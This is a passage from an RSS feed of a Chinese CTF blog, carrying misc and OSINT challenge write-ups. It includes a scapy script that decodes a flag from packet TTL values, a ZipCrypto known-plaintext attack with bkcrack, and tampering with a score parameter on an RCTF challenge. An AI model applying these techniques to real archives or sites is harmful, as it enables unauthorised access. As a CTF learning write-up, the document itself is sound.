class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kn&#34;&gt;from&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;scapy.all&lt;/span&gt; &lt;span class=&#34;kn&#34;&gt;import&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;rdpcap&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;IP&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kn&#34;&gt;from&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;collections&lt;/span&gt; &lt;span class=&#34;kn&#34;&gt;import&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Counter&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;defaultdict&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;pcap_file&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;wegogym.pcap&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;packets&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;rdpcap&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;pcap_file&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;ttl_per_src&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;defaultdict&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Counter&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;src_counter&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Counter&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;for&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;pkt&lt;/span&gt; &lt;span class=&#34;ow&#34;&gt;in&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;packets&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;IP&lt;/span&gt; &lt;span class=&#34;ow&#34;&gt;in&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;pkt&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;src&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;pkt&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;IP&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;src&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;ttl&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;pkt&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;IP&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ttl&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;ttl_per_src&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;src&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;][&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ttl&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;src_counter&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;src&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;# 自动选择出现最多包的源 IP&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;target_src&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;src_counter&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;most_common&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)[&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nb&#34;&gt;print&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;Selected source IP:&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;target_src&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;# 选择该源IP中出现次数最多的 TTL 作为 base_ttl&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;ttl_counter&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;ttl_per_src&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;target_src&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;base_ttl&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;ttl_counter&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;most_common&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)[&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nb&#34;&gt;print&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;Base TTL:&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;base_ttl&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;# 提取异常 TTL&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;raw_ttls&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;pkt&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;IP&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ttl&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;for&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;pkt&lt;/span&gt; &lt;span class=&#34;ow&#34;&gt;in&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;packets&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;IP&lt;/span&gt; &lt;span class=&#34;ow&#34;&gt;in&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;pkt&lt;/span&gt; &lt;span class=&#34;ow&#34;&gt;and&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;pkt&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;IP&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;src&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;==&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;target_src&lt;/span&gt; &lt;span class=&#34;ow&#34;&gt;and&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;pkt&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;IP&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ttl&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;!=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;base_ttl&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;# 去重&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;clean_ttls&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;for&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;t&lt;/span&gt; &lt;span class=&#34;ow&#34;&gt;in&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;raw_ttls&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;ow&#34;&gt;not&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;clean_ttls&lt;/span&gt; &lt;span class=&#34;ow&#34;&gt;or&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;clean_ttls&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;!=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;t&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;clean_ttls&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;append&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;t&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;# 转 ASCII&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;flag&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;join&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;chr&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;t&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;for&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;t&lt;/span&gt; &lt;span class=&#34;ow&#34;&gt;in&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;clean_ttls&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nb&#34;&gt;print&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;Decoded:&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;flag&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;burger-king&#34;&gt;Burger King&lt;a class=&#34;heading-anchor&#34; href=&#34;#burger-king&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;p&gt;给了一个svg文件和zip&lt;br&gt;&#xA;&lt;img src=&#34;upload/Image/66e7c861-b8d5-4527-adf2-6a47686cd57f.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;br&gt;&#xA;看到算法是 ZipCrypto Store就可以锁定明文攻击了&lt;br&gt;&#xA;.svg内容为 &lt;code&gt;&amp;lt;svg xmlns=&amp;quot;http://www.w3.org/2000/svg&amp;quot;&lt;/code&gt;&lt;br&gt;&#xA;是svg文件对应的类似魔数的声明 就 &lt;code&gt;&amp;lt;!DOCTYPE HTML&amp;gt;&lt;/code&gt; 一样&lt;br&gt;&#xA;bkcrack撞一下就出了&lt;br&gt;&#xA;&lt;img src=&#34;upload/Image/be3f66d7-0a34-435a-977d-8c5f031524db.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;img src=&#34;upload/Image/62bd8348-4f0e-452c-a5a0-da45195fb488.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;br&gt;&#xA;在Hole.svg中&lt;br&gt;&#xA;&lt;img src=&#34;upload/Image/7a2541f0-576c-4660-9bf4-10b8be2bec5e.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;osint&#34;&gt;OSINT&lt;a class=&#34;heading-anchor&#34; href=&#34;#osint&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h2&gt;&#xA;&lt;h3 id=&#34;wheres-legally&#34;&gt;Where’s Legally&lt;a class=&#34;heading-anchor&#34; href=&#34;#wheres-legally&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;p&gt;整个系列都是常规的图寻 从谷歌地球里面翻GMU校园就都能找到了 很好找&lt;/p&gt;&#xA;&lt;h3 id=&#34;waldos-nignt-out&#34;&gt;Waldo’s Nignt Out&lt;a class=&#34;heading-anchor&#34; href=&#34;#waldos-nignt-out&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;p&gt;给了三套图 分别对应三个地点&lt;br&gt;&#xA;也算是常规图寻 主要是看题目说的 Virginia 全都在弗吉尼亚&lt;br&gt;&#xA;附件不在了只能陈述回忆了&lt;br&gt;&#xA;location 1 是废弃的Skyzone，可以找到相关废弃地点探险的帖子&lt;br&gt;&#xA;location 2 识图到的&lt;br&gt;&#xA;location 3 有一张图片有两个电话号码 能通过其他图片推断出是酒店&lt;br&gt;&#xA;带着下面的电话号码和hotel就能搜到了&lt;/p&gt;&#xA;&lt;h3 id=&#34;kittiez&#34;&gt;Kittiez!!!&lt;a class=&#34;heading-anchor&#34; href=&#34;#kittiez&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;p&gt;题目给了一个 hash&lt;br&gt;&#xA;拿到hint 和 malware有关&lt;br&gt;&#xA;上x搜kitty malware 能搜到一个组织&lt;br&gt;&#xA;&lt;img src=&#34;upload/Image/478eb945-24a1-448d-9eec-f3792773fd88.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;br&gt;&#xA;&lt;a href=&#34;https://vx-underground.org/&#34;&gt;https://vx-underground.org/&lt;/a&gt;&lt;br&gt;&#xA;在他的主页 有一个网盘 archive 里有很多猫猫图片 下载下来遍历 md5 找到对应图片就可以&lt;br&gt;&#xA;图片在压缩包3中&lt;/p&gt;&#xA;</description>
    </item>
    
    <item>
      <title>RCTF2025-Misc Writeup</title>
      <link>https://new.mnzn.me/posts/rctf2025-misc-writeup/</link>
      <pubDate>Mon, 15 Sep 2025 00:00:00 +0000</pubDate>
      <guid>https://new.mnzn.me/posts/rctf2025-misc-writeup/</guid>
      <description>&lt;p&gt;好多事情都堆在一起 累死了&lt;/p&gt;&#xA;&lt;p&gt;我是菜逼轻点喷&lt;/p&gt;&#xA;&lt;h2 id=&#34;signin&#34;&gt;SignIn&lt;a class=&#34;heading-anchor&#34; href=&#34;#signin&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h2&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;✏️ &lt;a href=&#34;http://1.14.196.78/&#34;&gt;http://1.14.196.78/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/5ca03263-3f80-4b1c-9643-7b88f3de3a60.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;涂完色后会添加score参数&lt;/p&gt;&#xA;&lt;p&gt;改到100尝试&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/27beeb65-6508-4a52-8fbf-990593c2a044.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;speak-softly-love&#34;&gt;Speak Softly Love&lt;a class=&#34;heading-anchor&#34; href=&#34;#speak-softly-love&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h2&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Let’s Speak Softly Love on 8086&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Online:&#xA;http://1.95.196.4:26001/&#xA;http://1.95.196.4:26002/&#xA;http://1.95.196.4:26003/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The attachments can be downloaded via the following two optional links.&lt;br&gt;&#xA;&lt;a 